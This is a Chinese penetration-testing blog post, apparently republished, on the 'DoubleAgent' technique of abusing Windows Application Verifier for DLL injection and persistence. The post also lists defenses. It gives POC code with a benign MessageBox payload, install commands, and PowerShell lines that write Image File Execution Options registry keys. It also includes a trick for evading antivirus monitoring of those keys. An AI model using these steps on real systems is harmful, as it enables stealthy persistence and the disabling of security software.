渗透测试中的Application Verifier(DoubleAgent利用介绍)

本文讲的是渗透测试中的Application Verifier(DoubleAgent利用介绍)


0x00 前言

近日,Cybellum Technologies LTD公开了一个0-day漏洞的POC,对其命名为“DoubleAgent”,可用于控制主流的杀毒软件。

不同于以往的绕过思路,这次使用的是一种直接攻击并劫持的方式,本文将要介绍该方式的原理,分享利用思路、攻击条件和防御方法

0x01 简介

该方式主要是对微软系统自带的Application Verifier(应用程序检验器)进行利用

利用过程如下:

- 编写自定义Verifier provider DLL
- 通过Application Verifier进行安装
- 注入到目标进程执行payload
- 每当目标进程启动,均会执行payload,相当于一个自启动的方式

Application Verifier支持系统:WinXP-Win10

理论上,该利用方式支持WinXP-Win10,但是POC提供的dll在部分操作系统下会报错,修复方法暂略,本文仅挑选一个默认成功的系统进行测试——Win8.1 x86

0x02 application verifier

是针对非托管代码的运行时验证工具,它有助于找到细小的编程错误、安全问题和受限的用户帐户特权问题,使用常规的应用程序测试技术很难识别出这些错误和问题

注:

类似于Application Compatibility Shims,可以理解为一种补丁机制。更多基础概念可参考微软官方文档,地址如下:

https://msdn.microsoft.com/zh-cn/library/aa480483.aspx

测试系统:Win8.1 x86(默认支持application verifier)

cmd输入(管理员权限):appverif 

进入控制界面,通过面板查看配置验证器

如图2-1

添加一个测试程序,可对其检测和调试内存损坏、危险的安全漏洞以及受限的用户帐户特权问题

如图2-2

通过命令行也能够实现相同的操作

命令行添加:

appverif /verify notepad.exe

命令行删除:

appverif /n notepad.exe

注:

对于运行中的进程,不能安装application verifier

0x03 实际测试

POC编译环境搭建:

安装VS2017

安装Windows SDK for Windows 8.1

测试系统:Win8.1 x86

POC添加shellcode:

MessageBox(NULL, NULL, NULL, 0);

部分代码如下:

static BOOL main_DllMainProcessAttach(VOID)
{
DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
MessageBox(NULL, NULL, NULL, 0);
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
return FALSE != DOUBLEAGENT_SUCCESS(eStatus);
}

编译后将DoubleAgent_x86.exe和x86DoubleAgentDll.dll放于同级目录下

cmd下:(管理员权限)

安装:

DoubleAgent_x86.exe install notepad.exe

卸载:

DoubleAgent_x86.exe uninstall notepad.exe

如图2-3

安装后,启动notepad.exe,弹框,之后正常启动notepad.exe

安装成功后,在面板中也可以看到安装的verifier

cmd输入appverif

如图2-4

如果想要劫持非系统默认安装的程序,那么该程序需要存放于system32文件夹下(或者新建快捷方式存放于system32并指向原程序)

需要先将DoubleAgentDll.dll复制到system32下,再通过命令行安装

注册表位置:

[HKEY_LOCAL_MACHINE//SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe]

键值信息如下:

"GlobalFlag"="0x100"
"VerifierDlls"="DoubleAgentDll.dll"

如果删除该注册表键值,那么verifier失效

注:

查看poc源码发现安装操作是通过新建注册表键值的方法

所以下面尝试通过脚本新建注册表键值来实现verifier的安装:

1、powershell测试代码实现注册表键值的添加

New-Item -itemType DWord "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe"
New-ItemProperty -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -name GlobalFlag -propertytype Dword -value 0x100
New-ItemProperty -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -name VerifierDlls -propertytype String -value DoubleAgentDll.dll

2、将测试dll复制到system32下

copy DoubleAgentDll.dll c:windowssystem32DoubleAgentDll.dll

3、再次启动notepad.exe,弹框

代表verifier被安装

4、删除verifier的powershell代码:

Del "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -recurse

注:

部分杀毒软件会对注册表HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options进行监控

绕过方法:

新建一个任意名称的注册表键值,再重命名为目标程序

0x04 分析

利用方式:

dll注入
自启动
主要用于后渗透阶段

特别的地方:

绕过杀毒软件的拦截,并能够对杀毒软件本身进行注入,使杀毒软件本身失效或者对其利用

攻击条件:获得管理员权限

POC——>EXP:

参照其中DoubleAgentDll工程生成dll,通过powershell或其他脚本实现安装利用

防御方法:

监控注册表键值HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

控制管理员权限

查看system32下有无可疑dll

0x05 小结

本文对“DoubleAgent”的原理、利用思路、攻击条件和防御方法作了简要介绍,希望能够帮助大家

原文发布时间为:2017年3月28日

本文作者:3gstudent

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-10-25 00:23:00

渗透测试中的Application Verifier(DoubleAgent利用介绍)的相关文章

渗透测试中的msiexec

本文讲的是渗透测试中的msiexec, 0x00 前言 在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念.关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这次就研究一下msiexec在渗透测试中的利用技巧 0x01 简介 msiexec: 系统进程,是Windows Installer的一部分 用于安装Windows Installer安装包(MSI) 一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大 系统自带

渗透测试中的certutil

本文讲的是渗透测试中的certutil,最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧.本文将结合自己的一些经验,介绍certutil在渗透测试中的应用,对cmd下downloader的实现方法作补充,总结base64编码转换的常用方法. 0x01 简介 本文将要介绍以下内容: · certutil.exe在渗透测试中的应用 · downloader常用方法 · base64编码转换常用方法 0x02 certutil简介 用于证书管理

渗透测试员分享黑客最常利用的那些漏洞

本文讲的是 :  渗透测试员分享黑客最常利用的那些漏洞  ,  [IT168 编译]网站遭到攻击以及各种数据泄露事故(例如Anonymous攻击排名前100的大学)让企业疑惑这些攻击者是如何侵入系统以及为什么这么容易攻击.这些遭受攻击的不同企业中存在哪些常见漏洞?攻击者最常利用的漏洞是哪些? 我们询问了很多渗透测试人员,他们通常能够利用哪些主要漏洞,这些渗透测试人员有些在大学和企业环境工作,有些是每周为各种类型客户执行渗透测试的全职安全顾问. 这些渗透测试人员几乎都有类似的漏洞清单.每份清单的最

移动APP安全在渗透测试中的应用(1)

这篇文章从去年很早就想写,一直没时间,刚好过段时间有沙龙是讲这方面的东西,整理了下就有了下文.498)this.width=498;' onmousewheel = 'javascript:return big(this)' style="width: 398px; height: 244px" border="0" alt="移动APP安全在渗透测试中的应用" width="486" height="293&quo

渗透测试中搜集AD域信息的常用PS命令

本文讲的是渗透测试中搜集AD域信息的常用PS命令,Microsoft为Windows Server 2008 R2(及更新版本)提供了几个Active Directory PowerShell cmdlet,相比于之前需要将涉及ADSI的冗长代码行放在一起来执行任务,这样的更新很大程度上简化了相关的操作. 在Windows客户端上,安装远程服务器管理工具(RSAT),并确保安装了Active Directory PowerShell模块. 在Windows服务器(2008 R2或更高版本)上,在

渗透测试中如何收集利用 SNMP 协议数据

几个月前,我曾发过一篇博客" SNMP 最佳实践"讲述了一些基本的方法降低来自 SNMP 相关的安全隐患.我想现在大家应该都修复完了,那么是时候来从渗透测试的角度讲述如何通过收集分析数据来发现并利用暴露的 SNMP 服务. 第一个问题是我们如何发现暴露的 SNMP 服务.通常我们会使用端口扫描工具 Nmap 来扫描开放的 UDP 端口 161.鉴于我们只是想有针对性的发现并提取数据,那么使用 Python 或 Perl 小脚本反而会更加方便简单.就我个人来说,我更倾向于使用 Perl,

渗透测试中的冷却启动攻击和其他取证技术

这是一个星期四的晚上,快乐时光即将开始.你会尽快走出办公室.你整天都忙于准备一份报告,第二天早上还需继续,因此你将电脑锁屏.这足够安全,是吗?因为你使用了高强度密码,并全盘加密,Ophcrack或者可引导的linux发行版例如kali不起作用.你自认为安全了,其实你错了.为了得到重要材料,攻击者越来越无所不用其极,这包括使用取证领域的最新技术. 计算机中存在一个单独的区块:活动内存,任何一个攻击者都愿意把手伸到这个存储有敏感信息完全未加密的区块.系统为了方便调用,在内存中存储了多种有价值信息:全

《Metasploit渗透测试手册》—第8章8.5节 将漏洞利用代码转换为Metasploit模块

8.5 将漏洞利用代码转换为Metasploit模块 Metasploit渗透测试手册 在前面的内容中已介绍了如何使用漏洞利用代码模块来攻陷目标机器.在本节中,我们将进一步拓展模块使用体验,尝试使用可用的概念验证代码开发完整的漏洞利用代码模块.为了将任意新的漏洞利用代码转换为框架中的模块,并在Metasploit团队进行更新之前使用其进行渗透测试,必须掌握将漏洞利用代码转换为模块的相关知识.并且,每个漏洞利用代码都以框架中模块形式存在也是不可能的,所以,下面学习怎样使用可用的POC来构建自己的漏

《黑客秘笈——渗透测试实用指南》—第2章2.4节Web应用程序的扫描

2.4 Web应用程序的扫描 黑客秘笈--渗透测试实用指南 网络扫描器.Peeping Tom可大致揭露测试目标的网络构造.在此之后,我们就可以进行Web应用程序扫描了.本文主要围绕Burp Suite程序讨论Web应用程序的扫描方法.确实有许多开源.免费的工具可进行Web应用程序扫描,例如ZAP.WebScarab.Nikto.w3af等程序都很不错.但是我们有必要再次强调一下,渗透测试的工具应当是速度最快.扫描结果最好的测试工具.虽然Burp Suite专业版(http://portswig